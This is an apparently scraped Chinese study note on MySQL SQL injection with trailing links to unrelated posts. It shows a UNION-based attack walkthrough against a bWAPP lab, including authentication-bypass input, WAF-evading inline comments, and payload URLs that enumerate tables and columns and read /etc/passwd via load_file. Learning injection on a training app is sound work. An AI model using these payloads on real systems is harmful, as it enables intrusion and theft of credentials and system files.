information_schema(MySQL5.0版本之后,MySQL数据库默认存放一个information_schema数据库)

information_schema的三个表:

SCHEMATA:该表中的字段SCHEMA_NAME存储该用户创建的所有数据库的库名。

TABLES:该表中的字段TABLE_SCHEMA,TABLE_NAME分别记录该用户创建的所有数据库库名和表名。

COLUMNS:该表中的字段TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME分别记录该用户创建的所有数据库库名、表名、字段名。

查询语句

SELECT 要查询的字段名 FROM 库名.表名

SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名=‘已知条件的值’

SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名=‘已知条件的值’ AND 已知条件2的字段名=‘已知条件2的值’

SELECT * FROM users

SELECT * FROM users limit 0,1

重要函数(用于注入时,查询敏感信息)

database():当前网站使用数据库

version():当前数据库版本号

user():当前数据库用户

concat_ws():多条目显示

load_file():读取系统文件,读取文件路径需转换为16进制

注释符

#或--空格或//**//

select from username,password from where username = ‘admin’ and password = ‘123456’

admin’ or 1=1#

select from username,password from where username = ‘admin’or 1=1#’and password = ‘123456’

内联注释(用于绕过WAF等防护)

/*!code*/

/*!union*/ /*!select*/ 1,2,3

Union联合查询注入攻击

http://192.168.100.130/sqli_2.php?movie=4%E2%80%98&action=go

http://192.168.100.130/sqli_2.php?movie=4%20and%201=1&action=go

http://192.168.100.130/sqli_2.php?movie=4%20and%201=2&action=go

http://192.168.100.130/sqli_2.php?movie=4%20order%20by%207--+&action=go 确认表数

http://192.168.100.130/sqli_2.php?movie=-4%20union%20select%201,2,3,4,5,6,7%20--+&action=go

http://192.168.100.130/sqli_2.php?movie=-4%20union%20select%201,database(),version(),4,user(),6,7%20--+&action=go

当前数据库名:bWAPP

当前数据库版本:5.5.47

当前数据库用户名:localhost

http://192.168.100.130/sqli_2.php?movie=-4 UNION ALL SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6,7&action=go(),4,user(),6,7&action=go

http://192.168.100.130/sqli_2.php?movie=-4 union select 1,table_name,3,4,5,6,7 from information_schema.tables limit 3,1-- &action=go

http://192.168.100.130/sqli_2.php?movie=-4%20union%20select%201,column_name,3,4,5,6,7%20from%20information_schema.columns%20where%20column_name=0x75736572%20limit%200,1--%20&action=go

http://192.168.100.130/sqli_2.php?movie=-4%20union%20select%201,column_name,3,4,5,6,7%20from%20information_schema.columns%20where%20column_name=0x70617373776f7264%20limit%200,1--%20&action=go

Web安全攻防笔记-SQL注入的更多相关文章

  1. Web安全学习笔记 SQL注入下

    Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...

  2. Web安全学习笔记 SQL注入上

    Web安全学习笔记 SQL注入上 繁枝插云欣 --ICML8 SQL注入分类 SQL注入检测 一.注入分类 1.简介 SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当 ...

  3. Web安全学习笔记 SQL注入中

    Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...

  4. Web安全学习笔记——SQL注入

    一.MySQL注入 1. 常用信息查询 常用信息: 当前数据库名称:database() 当前用户:user() current_user() system_user() 当前数据库版本号:@@ver ...

  5. Web安全测试学习笔记-SQL注入-利用concat和updatexml函数

    mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...

  6. Web登录敲门砖之sql注入

    声明:文本原创,转载请说明出处,若因本文而产生任何违法违纪行为将与本人无关.在百度.博客园.oschina.github .SegmentFault.上面都关于sql注入的文章和工具.看过很多sql注 ...

  7. Web常见安全漏洞-SQL注入

    SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞. 可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作, 甚至有可 ...

  8. php web开发安全之sql注入和防范:(一)简单的select语句注入和防范

    sql注入主要是指通过在get.post请求参数中构造sql语句,以修改程序运行时所执行的sql语句,从而实现获取.修改信息甚至是删除数据的目的,sql被注入的原因主要是代码编写的有问题(有漏洞),只 ...

  9. PHP代码审计笔记--SQL注入

    0X01 普通注入 SQL参数拼接,未做任何过滤 <?php $con = mysql_connect("localhost","root"," ...

随机推荐

  1. 干货:.net core实现读取appsettings.json配置文件(建议收藏)

    看好多人不懂在.NET CORE中如何读取配置文件,我这里分两篇,这一篇介绍怎样通过appsettings.json配置读取文件信息.这里我会教大家两种方式: 第一种直接放到通用类库,那里想调往那调. ...

  2. SSM整合3(springMVC+mybatis)

    一.RequestMapping URL路径映射:置于方法上,可多个URL映射同一个方法,格式:@RequestMapping(value="item")或@RequestMapp ...

  3. 关于hover与after,before已及first-letter,first-line的联用

    0920自我总结 关于hover与after,before已及first-letter,first-line的联用 一.写法 元素:hover::after{样式} 元素:hover::before{ ...

  4. 关于mybtis 使用过程中发生There is no getter for property named 'id' in class 'java.lang.String' 错误

    今天在修改一个关于mybtis语句时,偶然发现的一个错误  There is no getter for property named 'id' in class 'java.lang.String' ...

  5. iOS常用算法之两个有序数组合并, 要求时间复杂度为0(n)

    思路: 常规思路: 先将一个数组作为合并后的数组, 然后遍历第二个数组的每项元素, 一一对比, 直到找到合适的, 就插入进去; 简单思路: 设置数组C, 对比A和B数组的首项元素, 找到最小的, 就放 ...

  6. 【三】Gradle中的Task

    gradle中,最经常被使用的,一个task,一个是dependencies 1.Task声明 task默认是DefaultTask类, Task中有两个属性 group description,最佳 ...

  7. 微信小程序开发者工具构建npm提示没找到node_modules目录

    一.官网给的文档写的不够充分,需要你充分理解npm的使用方法,才能明白的: 二.第一步:先在你电脑上安装npm 参考下面文章 https://www.cnblogs.com/zmdComeOn/p/1 ...

  8. ODA: After Apply ODA 12.2.1.2.0 Patch, Unable to Create TableSpace Due to [ORA-15001: diskgroup "DATA" does not exist or is not mounted | ORA-15040: diskgroup is incomplete] (Doc ID 2375553.1)

    ODA: After Apply ODA 12.2.1.2.0 Patch, Unable to Create TableSpace Due to [ORA-15001: diskgroup &quo ...

  9. 测试使用索引库crud和高级查询分页

    1.搭建ES的服务 导入依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifa ...

  10. 扩展KMP笔记

    KMP能计算一个字符串的每个位置前最长公共前缀后缀 扩展KMP可以用来计算两个字符串间的最长公共前缀后缀的…… 不过为了计算这个需要绕些弯路 已知字符串$S$和$P$,$S$的长度为$n$,$P$的长 ...